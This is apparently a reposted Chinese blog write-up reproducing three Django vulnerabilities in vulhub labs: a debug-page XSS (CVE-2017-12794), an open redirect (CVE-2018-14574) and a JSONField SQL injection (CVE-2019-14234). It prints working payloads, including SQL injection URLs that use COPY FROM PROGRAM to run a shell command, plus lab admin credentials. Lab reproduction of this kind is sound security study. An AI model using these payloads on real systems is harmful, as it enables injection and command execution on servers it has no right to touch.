vulhub漏洞复现-Django

Django

Django是Django软件基金会的一套基于Python语言的开源Web应用框架

CVE-2017-12794 XSS漏洞

思路

执行时会抛出异常类

duplicate key value violates unique constraint "xss_user_username_key"
DETAIL:  Key (username)=(<script>alert(1)</script>) already exists.

异常类被拼接到

The above exception ({
    
    {
    
     frame.exc_cause }}) was the direct cause of the following exception

从而执行xss。而一般是在出现数据库异常的时候,会抛出这样的错误语句。查看对应的抛出异常类函数

def __exit__(self, exc_type, exc_value, traceback):
    if exc_type is None:
        return
    for dj_exc_type in (
            DataError,
            OperationalError,
            IntegrityError,
            InternalError,
            ProgrammingError,
            NotSupportedError,
            DatabaseError,
            InterfaceError,
            Error,
    ):
        db_exc_type = getattr(self.wrapper.Database, dj_exc_type.__name__)
        if issubclass(exc_type, db_exc_type):
            dj_exc_value = dj_exc_type(*exc_value.args)
            dj_exc_value.__cause__ = exc_value
            if not hasattr(exc_value, '__traceback__'):
                exc_value.__traceback__ = traceback
            # Only set the 'errors_occurred' flag for errors that may make
            # the connection unusable.
            if dj_exc_type not in (DataError, IntegrityError):
                self.wrapper.errors_occurred = True
            six.reraise(dj_exc_type, dj_exc_value, traceback)

其中exc_type是异常,如果其类型是DataError,OperationalError,IntegrityError,InternalError,ProgrammingError,NotSupportedError,DatabaseError,InterfaceError,Error之一,则抛出一个同类型的新异常,并设置其__cause____traceback__为此时上下文的exc_valuetraceback(exc_value是上一个异常的说明,traceback是上一个异常的回溯栈。这个函数其实就是关联了上一个异常和当前的新异常)。最后,在500页面中,__cause__被输出。

使用Postgres数据库并触发异常的时候,psycopg2会将字段名和字段值全部抛出。那么,如果字段值中包含我们可控的字符串,又由于之前说到的,这个字符串其实就会被设置成__cause__,最后被显示在页面中。
Django debug page XSS漏洞(CVE-2017-12794)

漏洞复现

docker部署环境后访问:8080,通过访问

create_user/?username=<script>alert(1)</script>

在这里插入图片描述成功创建用户,再次创建时

在这里插入图片描述

抛出异常成功弹窗
在这里插入图片描述

CVE-2018-14574 任意URL跳转漏洞

思路

Django默认配置下,如果匹配上的URL路由中最后一位是/,而用户访问的时候没加/,Django默认会跳转到带/的请求中。(由配置项中的django.middleware.common.CommonMiddleware、APPEND_SLASH来决定)。

在path开头为//example.com的情况下,Django没做处理,导致浏览器认为目的地址是绝对路径,最终造成任意URL跳转漏洞。
前端 Django URL跳转漏洞(CVE-2018-14574)

漏洞复现

docker部署环境后访问:8000
在这里插入图片描述
访问http://vulhub.yster.live:8000//www.baidu.com
发现直接跳转到百度上

CVE-2019-14234 Django JSONField SQL注入漏洞

Django是一个大而全的Web框架,其支持很多数据库引擎,包括Postgresql、Mysql、Oracle、Sqlite3等,但与Django天生为一对儿的数据库莫过于Postgresql了,Django官方也建议配合Postgresql一起使用。

而JSONField是该数据库的一种数据类型

思路

在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接。通过JSONField类获得KeyTransform类并生成sql语句的位置。
其中key_name是可控的字符串,最终生成的语句是

WHERE (field->[key_name]) = ‘value’

因此可以进行SQL注入。
【研究】CVE-2019-14234 Django JSONField SQL注入漏洞复现

漏洞复现

docker部署完成后访问:8000/admin
在这里插入图片描述

在/admin登陆,输入用户名admin,密码a123123123
在这里插入图片描述
在这里插入图片描述

/admin/vuln/collection/?detail__a'b=123

在这里插入图片描述结合CVE-2019-9193我们尝试进行命令注入,构造url如下

/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20

在这里插入图片描述
利用SQL语句,执行任意系统命令

/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'touch /tmp/test'--%20 

在这里插入图片描述
基于vulhub复现Django JSONField SQL注入漏洞(CVE-2019-14234)

おすすめ

転載: blog.csdn.net/weixin_54648419/article/details/121158176